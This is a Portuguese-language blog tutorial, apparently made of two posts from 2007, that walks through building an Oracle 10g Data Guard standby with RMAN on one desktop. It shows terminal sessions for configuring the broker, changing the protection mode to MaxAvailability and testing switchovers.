dg_broker_config_file1               string      /oracle/10g/dbs/dr1n1.dat
dg_broker_config_file2               string      /oracle/10g/dbs/dr2n1.dat
dg_broker_start                      boolean     FALSE
sys:N1DG> alter system set dg_broker_start=true;

System altered.

sys:N1DG> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options
[oracle@anakin scripts]$ export ORACLE_SID=n2dg
[oracle@anakin scripts]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:30:48 2007

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options

idle> alter system set dg_broker_start=true;

System altered.

idle> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options
[oracle@anakin scripts]$ export ORACLE_SID=n1dg
[oracle@anakin scripts]$

Ok, agora que os serviços do Broker estão no ar, vamos ao client para criar a configuração do dataguard, note que o seu standby já está montado, portanto o broker irá herdar a maioria de suas configurações quando o database for adicionado. Neste ponto não esqueça de ter criado os arquivos de senha e colocado a mesma senha do sys para todos os nós, isso facilita na manutenção, porque o broker se conecta nos nós e faz shutdown e startup quando necessário.


[oracle@anakin scripts]$ dgmgrl
DGMGRL for Linux: Version 10.2.0.3.0 - Production

Copyright (c) 2000, 2005, Oracle. All rights reserved.

Welcome to DGMGRL, type "help" for information.
DGMGRL> connect sys/oracle
Connected.
DGMGRL>
DGMGRL> create configuration mportes_dg as
>  primary database is n1
>  connect identifier is n1;
Configuration "mportes_dg" created with primary database "n1"
DGMGRL> ADD DATABASE n2 AS CONNECT IDENTIFIER IS n2 MAINTAINED AS PHYSICAL;
Error: ORA-16796: one or more properties could not be imported from the database

Failed.
DGMGRL> exit

Importante o erro acima, nesse ponto vejo qual foi o problema consultando o código de erro online.


[oracle@anakin scripts]$ oerr ora 16796
16796, 0000, "one or more properties could not be imported from the database"
// *Cause:  The broker was unable to import property values for the database
//          being added to the broker configuration. This error indicates:
//          - the net-service-name specified in DGMGRL's CREATE CONFIGURATION
//            or ADD DATABASE command is not one that provides access to the
//            database being added, or
//          - there are no instances running for the database being added.
// *Action: Remove the database from the configuration using the REMOVE
//          CONFIGURATION or REMOVE DATABASE command. Make sure that the
//          database to be added has at least one instance running and that the
//          net-service-name provides access to the running instance. Then
//          reissue the CREATE CONFIGURATION or ADD DATABASE command.

Primeira coisa que vem a cabeça é testar a conectividade entre os servidores.


[oracle@anakin scripts]$ tnsping n2

TNS Ping Utility for Linux: Version 10.2.0.3.0 - Production on 12-JUN-2007 00:32:20

Copyright (c) 1997, 2006, Oracle.  All rights reserved.

Used parameter files:


Used TNSNAMES adapter to resolve the alias
Attempting to contact (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = anakin.mportes.local)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SID = n2dg)))
TNS-12541: TNS:no listener

Bingo! Esqueci de subir o listener.


[oracle@anakin scripts]$ lsnrctl start

LSNRCTL for Linux: Version 10.2.0.3.0 - Production on 12-JUN-2007 00:32:25

Copyright (c) 1991, 2006, Oracle.  All rights reserved.

Starting /oracle/10g/bin/tnslsnr: please wait...

TNSLSNR for Linux: Version 10.2.0.3.0 - Production
System parameter file is /oracle/10g/network/admin/listener.ora
Log messages written to /oracle/10g/network/log/listener.log
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=anakin.mportes.local)(PORT=1521)))

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=anakin.mportes.local)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for Linux: Version 10.2.0.3.0 - Production
Start Date                12-JUN-2007 00:32:25
Uptime                    0 days 0 hr. 0 min. 0 sec
Trace Level               off
Security                  ON: Local OS Authentication
SNMP                      OFF
Listener Parameter File   /oracle/10g/network/admin/listener.ora
Listener Log File         /oracle/10g/network/log/listener.log
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=anakin.mportes.local)(PORT=1521)))
Services Summary...
Service "PLSExtProc" has 1 instance(s).
  Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "lx10g" has 1 instance(s).
  Instance "lx10g", status UNKNOWN, has 1 handler(s) for this service...
Service "n1_DGMGRL" has 1 instance(s).
  Instance "n1dg", status UNKNOWN, has 1 handler(s) for this service...
Service "n2_DGMGRL" has 1 instance(s).
  Instance "n2dg", status UNKNOWN, has 1 handler(s) for this service...
The command completed successfully

Vamos tentar de novo!


[oracle@anakin scripts]$ dgmgrl
DGMGRL for Linux: Version 10.2.0.3.0 - Production

Copyright (c) 2000, 2005, Oracle. All rights reserved.

Welcome to DGMGRL, type "help" for information.
DGMGRL> connect sys/oracle
Connected.
DGMGRL> ADD DATABASE n2 AS CONNECT IDENTIFIER IS n2 MAINTAINED AS PHYSICAL;
Database "n2" added

Agora sim, então temos nossa configuração de dataguard criada, porém em estado disable. O comando show configuration mostra o status da sua configuração.


DGMGRL> show configuration

Configuration
  Name:                mportes_dg
  Enabled:             NO
  Protection Mode:     MaxPerformance
  Fast-Start Failover: DISABLED
  Databases:
    n1 - Primary database
    n2 - Physical standby database

Current status for "mportes_dg":
DISABLED

Habilite a configuração.


DGMGRL> enable configuration
Enabled.
DGMGRL> show configuration verbose

Configuration
  Name:                mportes_dg
  Enabled:             YES
  Protection Mode:     MaxPerformance
  Fast-Start Failover: DISABLED
  Databases:
    n1 - Primary database
    n2 - Physical standby database

Current status for "mportes_dg":
Warning: ORA-16610: command 'ENABLE DATABASE n2' in progress

E tenha certa paciência! :-) Aqui é interessante uma dica: abra duas sessões extras e vá ao diretório do alert e faça um "tail -f alert_..." e veja o broker em ação. Ele fará várias modificações e no momento que voce habilita, ele começa a aplicar os archives e sincronizar os redologs, ainda falta configurar o modo de aplicação, eu quero que seja MAXAVAILABILITY.


DGMGRL> show configuration verbose

Configuration
  Name:                mportes_dg
  Enabled:             YES
  Protection Mode:     MaxPerformance
  Fast-Start Failover: DISABLED
  Databases:
    n1 - Primary database
    n2 - Physical standby database

Current status for "mportes_dg":
SUCCESS

Perfeito. Neste ponto faremos a configuração para que o protection mode seja maxavailability, ou seja, sem perda de dados com máximo de performance (possível).


DGMGRL> alter configuration set protection mode as maxavailability;
Error: ORA-16627: operation disallowed since no standby databases would remain to support protection mode

Failed.

Ok, ok... Faltou alterar o LogXptMode de ASYNC para SYNC.
Os helps abaixo ajudam muito na medida em que não é frequente o uso do client do broker e ninguem aqui está participando do campionato mundial de "saber tudo de cabeça".


DGMGRL> help show

Display information about a configuration, database, or instance

Syntax:

  SHOW CONFIGURATION;

  SHOW DATABASE [VERBOSE]  [];

SHOW INSTANCE [VERBOSE]  []
  [ON DATABASE ];

DGMGRL> show database verbose n1

Database
Name:            n1
Role:            PRIMARY
Enabled:         YES
Intended State:  ONLINE
Instance(s):
  n1dg

Properties:
  InitialConnectIdentifier        = 'n1'
  LogXptMode                      = 'ASYNC'
  Dependency                      = ''
  DelayMins                       = '0'
  Binding                         = 'OPTIONAL'
  MaxFailure                      = '0'
  MaxConnections                  = '1'
  ReopenSecs                      = '300'
  NetTimeout                      = '180'
  LogShipping                     = 'ON'
  PreferredApplyInstance          = ''
  ApplyInstanceTimeout            = '0'
  ApplyParallel                   = 'AUTO'
  StandbyFileManagement           = 'AUTO'
  ArchiveLagTarget                = '0'
  LogArchiveMaxProcesses          = '2'
  LogArchiveMinSucceedDest        = '1'
  DbFileNameConvert               = ''
  LogFileNameConvert              = ''
  FastStartFailoverTarget         = ''
  StatusReport                    = '(monitor)'
  InconsistentProperties          = '(monitor)'
  InconsistentLogXptProps         = '(monitor)'
  SendQEntries                    = '(monitor)'
  LogXptStatus                    = '(monitor)'
  RecvQEntries                    = '(monitor)'
  HostName                        = 'anakin.mportes.local'
  SidName                         = 'n1dg'
  LocalListenerAddress            = '(ADDRESS=(PROTOCOL=tcp)(HOST=anakin.mportes.local)(PORT=1521))'
  StandbyArchiveLocation          = '/backup/n1/arch'
  AlternateLocation               = ''
  LogArchiveTrace                 = '0'
  LogArchiveFormat                = '%t_%s_%r.dbf'
  LatestLog                       = '(monitor)'
  TopWaitEvents                   = '(monitor)'

Current status for "n1":
SUCCESS

DGMGRL> help alter

Edit a configuration, database, or instance

Syntax:

EDIT CONFIGURATION SET PROTECTION MODE AS
  {MaxProtection|MaxAvailability|MaxPerformance};

EDIT CONFIGURATION SET PROPERTY  = ;

EDIT DATABASE  SET PROPERTY  = ;

EDIT DATABASE  RENAME TO ;

EDIT DATABASE  SET STATE = 
  [WITH APPLY INSTANCE = ];

EDIT INSTANCE  [ON DATABASE ]
  SET AUTO PFILE [ = {|OFF} ];

EDIT INSTANCE  [ON DATABASE ]
  SET PROPERTY  = ;

Alterar nos dois databases.


DGMGRL> edit database n1 set property LogXptMode='SYNC';
Property "logxptmode" updated
DGMGRL> edit database n2 set property LogXptMode='SYNC';
Property "logxptmode" updated
DGMGRL> alter configuration set protection mode as maxavailability;
Succeeded.

Ok, protection mode alterado! O maxavailability é nosso preferido.


DGMGRL> show configuration verbose

Configuration
  Name:                mportes_dg
  Enabled:             YES
  Protection Mode:     MaxAvailability
  Fast-Start Failover: DISABLED
  Databases:
    n1 - Primary database
    n2 - Physical standby database

Current status for "mportes_dg":
SUCCESS

DGMGRL> exit

Uma vez habilitada a configuração, os bancos já deverão estar sincronizados.
Vamos a alguns testes.


[oracle@anakin scripts]$ export ORACLE_SID=n2dg
[oracle@anakin scripts]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:38:37 2007

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options

idle> select * from v$log;

       GROUP#       THREAD#     SEQUENCE#         BYTES       MEMBERS ARC STATUS           FIRST_CHANGE# FIRST_TIME
------------- ------------- ------------- ------------- ------------- --- ---------------- ------------- -------------------
            1             1            14      52428800             1 YES CLEARING_CURRENT        604871 12/06/2007 00:38:10
            3             1            14      52428800             1 YES CLEARING                604871 12/06/2007 00:38:10
            2             1            13      52428800             1 YES CLEARING                604838 12/06/2007 00:37:00

3 rows selected.

idle> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options

Hora das manutenções... :-) Olha como é difícil fazer SWITCHOVER.


[oracle@anakin scripts]$ dgmgrl
DGMGRL for Linux: Version 10.2.0.3.0 - Production

Copyright (c) 2000, 2005, Oracle. All rights reserved.

Welcome to DGMGRL, type "help" for information.
DGMGRL> connect sys/oracle
Connected.
DGMGRL> show configuration

Configuration
  Name:                mportes_dg
  Enabled:             YES
  Protection Mode:     MaxAvailability
  Fast-Start Failover: DISABLED
  Databases:
    n1 - Primary database
    n2 - Physical standby database

Current status for "mportes_dg":
SUCCESS

DGMGRL> switchover to n2
Performing switchover NOW, please wait...
Operation requires shutdown of instance "n1dg" on database "n1"
Shutting down instance "n1dg"...
ORA-01109: database not open

Database dismounted.
ORACLE instance shut down.
Operation requires shutdown of instance "n2dg" on database "n2"
Shutting down instance "n2dg"...
ORA-01109: database not open

Database dismounted.
ORACLE instance shut down.
Operation requires startup of instance "n1dg" on database "n1"
Starting instance "n1dg"...
ORACLE instance started.
Database mounted.
Operation requires startup of instance "n2dg" on database "n2"
Starting instance "n2dg"...
ORACLE instance started.
Database mounted.
Switchover succeeded, new primary is "n2"
DGMGRL> show configuration

Configuration
  Name:                mportes_dg
  Enabled:             YES
  Protection Mode:     MaxAvailability
  Fast-Start Failover: DISABLED
  Databases:
    n1 - Physical standby database
    n2 - Primary database

Current status for "mportes_dg":
SUCCESS
DGMGRL> exit

Pronto! Viu só? Bastou "switchover to " e ele faz tudo. Não deixe de ver os alerts logs com o tail -f.
Vamos verificar!


[oracle@anakin scripts]$ echo $ORACLE_SID
n2dg
[oracle@anakin scripts]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:44:02 2007

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options

sys:N1DG> select NAME, OPEN_MODE, PROTECTION_MODE, PROTECTION_LEVEL, REMOTE_ARCHIVE, DATABASE_ROLE,
  2         SWITCHOVER_STATUS, DATAGUARD_BROKER, FORCE_LOGGING
  3  from v$database
  4 /

NAME      OPEN_MODE  PROTECTION_MODE      PROTECTION_LEVEL     REMOTE_A DATABASE_ROLE    SWITCHOVER_STATUS    DATAGUAR FOR
--------- ---------- -------------------- -------------------- -------- ---------------- -------------------- -------- ---
N1DG      READ WRITE MAXIMUM AVAILABILITY MAXIMUM AVAILABILITY ENABLED  PRIMARY          SESSIONS ACTIVE      ENABLED  YES

1 row selected.

sys:N1DG> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options
[oracle@anakin scripts]$ export ORACLE_SID=n1dg
[oracle@anakin scripts]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:45:25 2007

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options

idle> select sequence#, dest_id, creator, registrar, archived, applied, status from v$archived_log order by 1;

    SEQUENCE#       DEST_ID CREATOR REGISTR ARC APP S
------------- ------------- ------- ------- --- --- -
            2             2 ARCH    ARCH    YES NO  A
            3             2 ARCH    ARCH    YES NO  A
            4             2 ARCH    ARCH    YES NO  A
            5             1 ARCH    ARCH    YES YES A
            5             2 ARCH    ARCH    YES NO  A
            6             1 ARCH    ARCH    YES YES A
            6             2 ARCH    ARCH    YES NO  A
            7             1 ARCH    ARCH    YES YES A
            7             2 ARCH    ARCH    YES NO  A
            8             1 ARCH    ARCH    YES YES A
            8             2 ARCH    ARCH    YES NO  A
            9             2 ARCH    ARCH    YES NO  A
            9             1 FGRD    FGRD    YES YES A
           10             1 ARCH    ARCH    YES YES A
           10             2 ARCH    ARCH    YES NO  A
           11             1 ARCH    ARCH    YES YES A
           11             2 ARCH    ARCH    YES YES A
           12             1 ARCH    ARCH    YES YES A
           12             2 ARCH    ARCH    YES YES A
           13             2 LGWR    LGWR    YES YES A
           13             1 FGRD    FGRD    YES YES A
           14             2 LGWR    LGWR    YES NO  A
           14             1 FGRD    FGRD    YES YES A
           15             2 LGWR    LGWR    YES NO  A
           15             1 FGRD    FGRD    YES YES A
           16             1 FGRD    RFS     YES YES A
           16             2 FGRD    FGRD    YES NO  A
           17             1 ARCH    RFS     YES YES A
           18             1 ARCH    RFS     YES YES A

29 rows selected.

idle> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options

Voltando para o nó N1.


[oracle@anakin scripts]$ dgmgrl
DGMGRL for Linux: Version 10.2.0.3.0 - Production

Copyright (c) 2000, 2005, Oracle. All rights reserved.

Welcome to DGMGRL, type "help" for information.
DGMGRL> connect sys/oracle
Connected.
DGMGRL> show configuration

Configuration
  Name:                mportes_dg
  Enabled:             YES
  Protection Mode:     MaxAvailability
  Fast-Start Failover: DISABLED
  Databases:
    n1 - Physical standby database
    n2 - Primary database

Current status for "mportes_dg":
SUCCESS

DGMGRL> switchover to n1
Performing switchover NOW, please wait...
Operation requires shutdown of instance "n2dg" on database "n2"
Shutting down instance "n2dg"...
ORA-01109: database not open

Database dismounted.
ORACLE instance shut down.
Operation requires shutdown of instance "n1dg" on database "n1"
Shutting down instance "n1dg"...
ORA-01109: database not open

Database dismounted.
ORACLE instance shut down.
Operation requires startup of instance "n2dg" on database "n2"
Starting instance "n2dg"...
ORACLE instance started.
Database mounted.
Operation requires startup of instance "n1dg" on database "n1"
Starting instance "n1dg"...
ORACLE instance started.
Database mounted.
Switchover succeeded, new primary is "n1"
DGMGRL>
DGMGRL> show configuration

Configuration
  Name:                mportes_dg
  Enabled:             YES
  Protection Mode:     MaxAvailability
  Fast-Start Failover: DISABLED
  Databases:
    n1 - Primary database
    n2 - Physical standby database

Current status for "mportes_dg":
SUCCESS

DGMGRL> exit
[oracle@anakin scripts]$ echo $ORACLE_SID
n1dg
[oracle@anakin scripts]$ export ORACLE_SID=n2dg
[oracle@anakin scripts]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.3.0 - Production on Tue Jun 12 00:54:16 2007

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options

idle> SELECT  PROCESS, STATUS,SEQUENCE#,BLOCK#,BLOCKS, DELAY_MINS FROM
  2                 V$MANAGED_STANDBY;

PROCESS   STATUS           SEQUENCE#        BLOCK#        BLOCKS    DELAY_MINS
--------- ------------ ------------- ------------- ------------- -------------
ARCH      CLOSING                 23             1            67             0
ARCH      CLOSING                 22             1             1             0
MRP0      APPLYING_LOG            24            14        102400             0
RFS       IDLE                    24            15             1             0
RFS       IDLE                     0             0             0             0
RFS       IDLE                     0             0             0             0

6 rows selected.

idle> /

PROCESS   STATUS           SEQUENCE#        BLOCK#        BLOCKS    DELAY_MINS
--------- ------------ ------------- ------------- ------------- -------------
ARCH      CLOSING                 23             1            67             0
ARCH      CLOSING                 22             1             1             0
MRP0      APPLYING_LOG            24            17        102400             0
RFS       IDLE                    24            18             1             0
RFS       IDLE                     0             0             0             0
RFS       IDLE                     0             0             0             0

6 rows selected.

idle> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and

Uma última consideração, quando configuramos o broker para gerenciar o Dataguard, até a versão 9i, não há necessidade de abrir o banco, é possível somente levantar os nós em NOMOUNT que ele faz o resto. Já na versão 10g, é necessário MONTAR o banco para que o broker levante e sincronize os nós.

Um lembrete: Use as instruções acima para exercício em ambiente TESTE e por sua conta e risco!

Montar Dataguard - 10g

2007-06-03T19:03:00.000-03:00

A tecnologia de alta disponibilidade e proteção de dados da Oracle é bastante divulgada pelo próprio site e por seus manuais. Então, para escrever esse "howto", tive a intenção de escrever um guia rápido e mostrar a facilidade do processo quando usamos o RMAN. Considere também que a instalação foi feita em uma única máquina - meu desktop.

Resumo do que farei a seguir:
- Criar uma instância do zero.
- Modificar os parâmetros para que seja aceito o data guard (archivelog e alguns parâmetros do spfile).
- Backup do banco usando o RMAN, já exportando controlfile para standby.
- Criação do standby database.
- Configurar o Data Guard para Realtime Apply.
- Criar a configuração para o Broker gerenciar o Data Guard.
- Teste de Switch over.

Criar uma instância do zero ou configurar uma já existente para o standby depende do seu cenário para o teste. No meu caso, eu usei o dbca e criei uma instância do zero. O nome é n1dg, que será meu nó primário.


[oracle@anakin scripts]$ export ORACLE_SID=n1dg
[oracle@anakin scripts]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.3.0 - Production on Sun Jun 3 23:20:17 2007

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP and Data Mining options

sys:N1DG> !ls -l /backup/n1
total 8
drwxr-xr-x  2 oracle dba 4096 Jun  3 23:21 arch
drwxr-xr-x  2 oracle dba 4096 Jun  3 23:11 n1dg

sys:N1DG> alter system set log_archive_dest_1='LOCATION=/backup/n1/arch';

System altered.

sys:N1DG> alter system set log_archive_format='%t_%s_%r.dbf' scope=spfile;

System altered.

sys:N1DG> shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.
sys:N1DG> startup mount
ORACLE instance started.

Total System Global Area     608174080 bytes
Fixed Size                     1263200 bytes
Variable Size                180357536 bytes
Database Buffers             419430400 bytes
Redo Buffers                   7122944 bytes
Database mounted.
sys:N1DG> alter database archivelog;

Database altered.

sys:N1DG> archive log list
Database log mode              Archive Mode
Automatic archival             Enabled
Archive destination            /backup/n1/arch
Oldest online log sequence     1
Next log sequence to archive   2
Current log sequence           2
sys:N1DG> !ls -l /backup/n1/arch
total 0

sys:N1DG> alter database open;

Database altered.

sys:N1DG> shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.
sys:N1DG> startup nomount
ORACLE instance started.

Total System Global Area     608174080 bytes
Fixed Size                     1263200 bytes
Variable Size                184551840 bytes
Database Buffers             415236096 bytes
Redo Buffers                   7122944 bytes
sys:N1DG>
sys:N1DG> alter system set db_unique_name = 'n1' scope=spfile;

System altered.

sys:N1DG> alter database mount;

Database altered.

sys:N1DG> alter database force logging;

Database altered.

sys:N1DG> alter system set log_archive_config='DG_CONFIG=(n1, n2)';

System altered.

sys:N1DG> alter system set standby_file_management=auto;

System altered.

sys:N1DG> alter system set fal_client=n1;

System altered.

sys:N1DG> alter system set standby_archive_dest='/backup/n1/arch';

System altered.

sys:N1DG> alter system set fal_client=n1;

System altered.

sys:N1DG> alter system set fal_server=n2;

System altered.

sys:N1DG> alter database open;

Database altered.

sys:N1DG> show parameter name

NAME                                 TYPE        VALUE
------------------------------------ ----------- --------------------------------------------------
db_file_name_convert                 string
db_name                              string      N1DG
db_unique_name                       string      n1
global_names                         boolean     FALSE
instance_name                        string      n1dg
lock_name_space                      string
log_file_name_convert                string
service_names                        string      n1
sys:N1DG>

Acima foram feitas as configurações básicas para a montagem do standby. O banco foi colocado em archivelog, forçado o log, definido nome único (db_unique_name=n1) e populados parâmetros do Dataguard, para melhor entendimento desses parâmetros, por favor consulte o manual.

A base está pronta para o backup, donde será criado o standby. O RMAN vai conectar-se a base target (n1dg) e gerar o backup, note no script usado que o controlfile já será exportado para standby.


[oracle@anakin scripts]$ echo $ORACLE_SID
n1dg
[oracle@anakin scripts]$ rman target /

Recovery Manager: Release 10.2.0.3.0 - Production on Sun Jun 3 23:48:56 2007

Copyright (c) 1982, 2005, Oracle.  All rights reserved.

connected to target database: N1DG (DBID=1215438780)

RMAN> list backup;

using target database control file instead of recovery catalog

RMAN> run {
2>   allocate channel d1 type disk;
3>   backup format '/backup/n1/df_t%t_s%s_p%p' database
4>   include current controlfile for standby;
5>   sql 'alter system archive log current';
6>   backup format '/backup/n1/al_t%t_s%s_p%p' archivelog all;
7>   release channel d1;
8> }

allocated channel: d1
channel d1: sid=144 devtype=DISK

Starting backup at 03-JUN-07
channel d1: starting full datafile backupset
channel d1: specifying datafile(s) in backupset
input datafile fno=00001 name=/backup/n1/n1dg/system01.dbf
input datafile fno=00003 name=/backup/n1/n1dg/sysaux01.dbf
input datafile fno=00002 name=/backup/n1/n1dg/undotbs01.dbf
input datafile fno=00004 name=/backup/n1/n1dg/users01.dbf
channel d1: starting piece 1 at 03-JUN-07
channel d1: finished piece 1 at 03-JUN-07
piece handle=/backup/n1/df_t624325825_s1_p1 tag=TAG20070603T235025 comment=NONE
channel d1: backup set complete, elapsed time: 00:00:25
channel d1: starting full datafile backupset
channel d1: specifying datafile(s) in backupset
including standby control file in backupset
including current SPFILE in backupset
channel d1: starting piece 1 at 03-JUN-07
channel d1: finished piece 1 at 03-JUN-07
piece handle=/backup/n1/df_t624325850_s2_p1 tag=TAG20070603T235025 comment=NONE
channel d1: backup set complete, elapsed time: 00:00:03
Finished backup at 03-JUN-07

sql statement: alter system archive log current

Starting backup at 03-JUN-07
current log archived
channel d1: starting archive log backupset
channel d1: specifying archive log(s) in backup set
input archive log thread=1 sequence=2 recid=1 stamp=624325853
input archive log thread=1 sequence=3 recid=2 stamp=624325853
channel d1: starting piece 1 at 03-JUN-07
channel d1: finished piece 1 at 03-JUN-07
piece handle=/backup/n1/al_t624325854_s3_p1 tag=TAG20070603T235053 comment=NONE
channel d1: backup set complete, elapsed time: 00:00:02
Finished backup at 03-JUN-07

released channel: d1

RMAN>

Hora de configurar a instância nova. Para que possamos restaurar o backup do rman na nova instância ela necessita estar iniciada em nomount. Para isso, vamos duplicar as áreas de diretórios (lembre-se que estou fazendo isso em uma mesma máquina, caso seu cenário seja em dois servidores, que é o correto, não há necessidade desta duplicação, basta criar a área da nova instância e criar o standby).


[oracle@anakin scripts]$ pwd
/oracle/admin/n1dg/scripts
[oracle@anakin scripts]$ cd ..
[oracle@anakin n1dg]$ cd ..
[oracle@anakin admin]$ ll -tr
total 16
drwxr-x---  6 oracle dba 4096 Feb 15 14:22 +ASM
drwxr-x---  8 oracle dba 4096 Feb 15 14:28 lx10g
drwxr-xr-x  7 ora92  dba 4096 Mar 27 16:48 lx92
drwxr-x---  9 oracle dba 4096 Jun  3 23:06 n1dg

[oracle@anakin admin]$ mkdir -p n2dg/scripts
[oracle@anakin admin]$ cd n2dg/scripts/
[oracle@anakin scripts]$ cat ../../n1dg/scripts/n1dg.sh | sed '1,$s/n1dg/n2dg/' > n2dg.sh
[oracle@anakin scripts]$ cat n2dg.sh
#!/bin/sh

mkdir -p /backup/n1/n2dg
mkdir -p /oracle/10g/cfgtoollogs/dbca/n2dg
mkdir -p /oracle/10g/dbs
mkdir -p /oracle/admin/n2dg/adump
mkdir -p /oracle/admin/n2dg/bdump
mkdir -p /oracle/admin/n2dg/cdump
mkdir -p /oracle/admin/n2dg/dpdump
mkdir -p /oracle/admin/n2dg/pfile
mkdir -p /oracle/admin/n2dg/udump
ORACLE_SID=n2dg; export ORACLE_SID
echo You should Add this entry in the /etc/oratab: n2dg:/oracle/10g:Y
/oracle/10g/bin/sqlplus /nolog @/oracle/admin/n2dg/scripts/n1dg.sql
[oracle@anakin scripts]$ ll -tr
total 4
-rw-r--r--  1 oracle dba 482 Jun  3 23:57 n2dg.sh
[oracle@anakin scripts]$ sh ./n2dg.sh
You should Add this entry in the /etc/oratab: n2dg:/oracle/10g:Y

SQL*Plus: Release 10.2.0.3.0 - Production on Sun Jun 3 23:58:13 2007

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.

SP2-0310: unable to open file "/oracle/admin/n2dg/scripts/n1dg.sql"
idle> exit
[oracle@anakin scripts]$ ps -ef | grep pmon_
oracle   28293     1  0 23:30 ?        00:00:00 ora_pmon_n1dg
oracle   28418 27728  0 23:58 pts/2    00:00:00 grep pmon_
[oracle@anakin scripts]$ cat ../../n1dg/scripts/init.ora | sed '1,$s/n1dg/n2dg/' | egrep -v '^#' > init.ora
[oracle@anakin scripts]$ vi init.ora
[oracle@anakin scripts]$ cat init.ora
db_block_size=8192
db_file_multiblock_read_count=16
open_cursors=300
db_domain=""
db_name=n1dg
db_unique_name=n2

background_dump_dest=/oracle/admin/n2dg/bdump
core_dump_dest=/oracle/admin/n2dg/cdump
user_dump_dest=/oracle/admin/n2dg/udump
job_queue_processes=10
compatible=10.2.0.3.0
processes=150
sga_target=605028352
audit_file_dest=/oracle/admin/n2dg/adump
remote_login_passwordfile=EXCLUSIVE
dispatchers="(PROTOCOL=TCP) (SERVICE=n2dgXDB)"
pga_aggregate_target=201326592
undo_management=AUTO
undo_tablespace=UNDOTBS1

db_file_name_convert =('/backup/n1/n1dg', '/backup/n2/n2dg')
log_file_name_convert =('/backup/n1/n1dg', '/backup/n2/n2dg')

[oracle@anakin scripts]$ ll -tr
total 8
-rw-r--r--  1 oracle dba 482 Jun  3 23:57 n2dg.sh
-rw-r--r--  1 oracle dba 646 Jun  4 00:04 init.ora
[oracle@anakin scripts]$ ll /backup
total 44484
-rw-r--r--  1 marcio dba 45465757 May 19 16:51 anakin.dmp.18may07.gz
drwx-w----  2 oracle dba    16384 Feb 15 15:27 lost+found
drwxr-xr-x  3 oracle dba     4096 May 24 00:38 lx10g
drwxr-xr-x  3 ora92  dba     4096 May 21 00:39 lx92
drwxr-xr-x  5 oracle dba     4096 Jun  3 23:58 n1
drwxr-xr-x  3 oracle dba     4096 May 24 00:27 tmp
[oracle@anakin scripts]$
[oracle@anakin scripts]$ mkdir /backup/n2
[oracle@anakin scripts]$ mkdir /backup/n2/n2dg
[oracle@anakin scripts]$ ll /backup
total 44488
-rw-r--r--  1 marcio dba 45465757 May 19 16:51 anakin.dmp.18may07.gz
drwx-w----  2 oracle dba    16384 Feb 15 15:27 lost+found
drwxr-xr-x  3 oracle dba     4096 May 24 00:38 lx10g
drwxr-xr-x  3 ora92  dba     4096 May 21 00:39 lx92
drwxr-xr-x  5 oracle dba     4096 Jun  3 23:58 n1
drwxr-xr-x  2 oracle dba     4096 Jun  4 00:04 n2
drwxr-xr-x  3 oracle dba     4096 May 24 00:27 tmp
[oracle@anakin scripts]$ ll /oracle/10g/dbs
total 6992
-rw-rw----  1 oracle dba    1583 May 31 20:27 ab_+ASM.dat
-rw-rw----  1 oracle dba    1544 Apr 16 10:14 hc_+ASM.dat
-rw-rw----  1 oracle dba    1544 Apr 16 10:15 hc_lx10g.dat
-rw-rw----  1 oracle dba    1544 Jun  3 23:08 hc_n1dg.dat
-rw-rw-r--  1 oracle dba   12920 May  3  2001 initdw.ora
-rw-r-----  1 oracle dba      37 Feb 15 14:30 initlx10g.ora
-rw-r-----  1 oracle dba    8385 Sep 11  1998 init.ora
-rw-rw----  1 oracle dba      24 Feb 15 14:22 lk+ASM
-rw-rw----  1 oracle dba      24 Feb 15 14:28 lkLX10G
-rw-rw----  1 oracle dba      24 Jun  3 23:29 lkN1
-rw-rw----  1 oracle dba      24 Jun  3 23:08 lkN1DG
-rw-r-----  1 oracle dba    1536 Feb 15 14:22 orapw+ASM
